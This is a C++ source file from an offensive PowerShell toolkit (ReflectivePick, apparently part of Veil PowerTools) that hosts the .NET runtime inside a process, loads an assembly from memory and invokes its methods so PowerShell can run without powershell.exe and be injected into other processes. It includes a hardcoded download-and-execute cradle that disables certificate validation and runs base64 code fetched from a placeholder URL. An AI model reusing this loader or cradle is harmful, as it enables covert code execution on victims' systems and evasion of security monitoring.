/*
* ReflectivePick
* Description: This DLL loads is reflectively loaded into a local/remote process to introduce and run powershell code. Made to be used with
* PSInject.ps1 to basically add migrate/inject capability to powershell.
*
* THIS CODE IS ALMOST ENTIRELY FROM UnmanagedPowerShell by Lee Christensen (@tifkin_). It was transformed from an exe format into a
* Reflective DLL to be used within the PowerPick project. Please recognize that credit for the disovery of this method of running PS code
* from C++ and all code contained within was his original work. The original executable can be found here: https://github.com/leechristensen/UnmanagedPowerShell
*
* License: 3-Clause BSD License. See Veil PowerTools Project
*
* This application is part of Veil PowerTools, a collection of offensive PowerShell
* capabilities. Hope they help!
*
* This is part of a sub-repo of PowerPick, a toolkit used to run PowerShell code without the use of Powershell.exe
*/

#pragma region Includes and Imports
#include <windows.h>
#include <stdio.h>
#include <metahost.h>
#include <comdef.h>
#include <mscoree.h>
#include <metahost.h>
#pragma comment(lib, "mscoree.lib")

#import "mscorlib.tlb" raw_interfaces_only \
    high_property_prefixes("_get","_put","_putref") \
    rename("ReportEvent", "InteropServices_ReportEvent")
using namespace mscorlib;


void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command)
{
    HRESULT hr;
    bstr_t bstrStaticMethodName(method);
    SAFEARRAY *psaStaticMethodArgs = NULL;
    variant_t vtStringArg(command);
    variant_t vtPSInvokeReturnVal;
    variant_t vtEmpty;


    psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
    LONG index = 0;
    hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg);
    if (FAILED(hr))
    {
        wprintf(L"SafeArrayPutElement failed w/hr 0x%08lx\n", hr);
        return;
    }

    // Invoke the method from the Type interface.
    hr = spType->InvokeMember_3(
        bstrStaticMethodName,
        static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
        NULL,
        vtEmpty,
        psaStaticMethodArgs,
        &vtPSInvokeReturnVal);

    if (FAILED(hr))
    {
        wprintf(L"Failed to invoke InvokePS w/hr 0x%08lx\n", hr);
        return;
    }
    else
    {
        // Print the output of the command
        //wprintf(vtPSInvokeReturnVal.bstrVal);
    }


    SafeArrayDestroy(psaStaticMethodArgs);
    psaStaticMethodArgs = NULL;
}

void ReflectionLoad(wchar_t * filePath, int version)
{
    HRESULT hr;

    ICLRMetaHost *pMetaHost = NULL;
    ICLRRuntimeInfo *pRuntimeInfo = NULL;
    ICorRuntimeHost *pCorRuntimeHost = NULL;

    IUnknownPtr spAppDomainThunk = NULL;
    _AppDomainPtr spDefaultAppDomain = NULL;

    void * fileBuf = 0;

    // The .NET assembly to load.
    bstr_t bstrAssemblyName("InjectExample");
    _AssemblyPtr spAssembly = NULL;

    // The .NET class to instantiate.
    bstr_t bstrClassName("InjectExample.Program");
    _TypePtr spType = NULL;


    // Start the runtime
    hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
    if (FAILED(hr))
    {
        wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }

    if(version == 4)
        hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
    else if(version == 2)
        hr = pMetaHost->GetRuntime(L"v2.0.50727", IID_PPV_ARGS(&pRuntimeInfo));

    if (FAILED(hr))
    {
        wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }

    // Check if the specified runtime can be loaded into the process.
    BOOL fLoadable;
    hr = pRuntimeInfo->IsLoadable(&fLoadable);
    if (FAILED(hr))
    {
        wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }

    if (!fLoadable)
    {
        wprintf(L".NET runtime v2.0.50727 cannot be loaded\n");
        goto Cleanup;
    }

    // Load the CLR into the current process and return a runtime interface
    hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost,
        IID_PPV_ARGS(&pCorRuntimeHost));
    if (FAILED(hr))
    {
        wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }

    // Start the CLR.
    hr = pCorRuntimeHost->Start();
    if (FAILED(hr))
    {
        wprintf(L"CLR failed to start w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }


    // Get a pointer to the default AppDomain in the CLR.
    hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
    if (FAILED(hr))
    {
        wprintf(L"ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }

    hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
    if (FAILED(hr))
    {
        wprintf(L"Failed to get default AppDomain w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }

    // Load the .NET assembly.
    // (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe)
    //hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly);

    HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
    if (INVALID_HANDLE_VALUE == hFile)
    {
        goto Cleanup;
    }

    DWORD size = 0, high = 0;
    size = GetFileSize(hFile, &high);

    if (size == 0)
    {
        printf("GetFileSize fail\n");
        goto Cleanup;
    }

    fileBuf = malloc(size);
    ReadFile(hFile, fileBuf, size, &high, 0);

    if (size != high)
    {
        goto Cleanup;
    }

    // (Option 2) Load the assembly from memory
    SAFEARRAYBOUND bounds[1];
    bounds[0].cElements = size;
    bounds[0].lLbound = 0;

    SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds);
    SafeArrayLock(arr);
    memcpy(arr->pvData, fileBuf, size);
    SafeArrayUnlock(arr);

    hr = spDefaultAppDomain->Load_3(arr, &spAssembly);

    if (FAILED(hr))
    {
        wprintf(L"Failed to load the assembly w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }

    // Get the Type of PowerShellRunner.
    hr = spAssembly->GetType_2(bstrClassName, &spType);
    if (FAILED(hr))
    {
        wprintf(L"Failed to get the Type interface w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }

    // Call the static method of the class
    wchar_t* argument = L"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"))))";

    //Output debug
    //DWORD pid = GetCurrentProcessId();
    //wchar_t msg[100];
    //swprintf_s(msg,L"Powershell running from pid %d!",pid);
    //MessageBox(NULL,msg,L"Info",MB_OK);

    InvokeMethod(spType, L"AnotherFunction", L"HelloThar");

Cleanup:

    if (pMetaHost)
    {
        pMetaHost->Release();
        pMetaHost = NULL;
    }
    if (pRuntimeInfo)
    {
        pRuntimeInfo->Release();
        pRuntimeInfo = NULL;
    }
    if (pCorRuntimeHost)
    {
        pCorRuntimeHost->Release();
        pCorRuntimeHost = NULL;
    }
    if (fileBuf)
    {
        free(fileBuf);
    }
    return;

}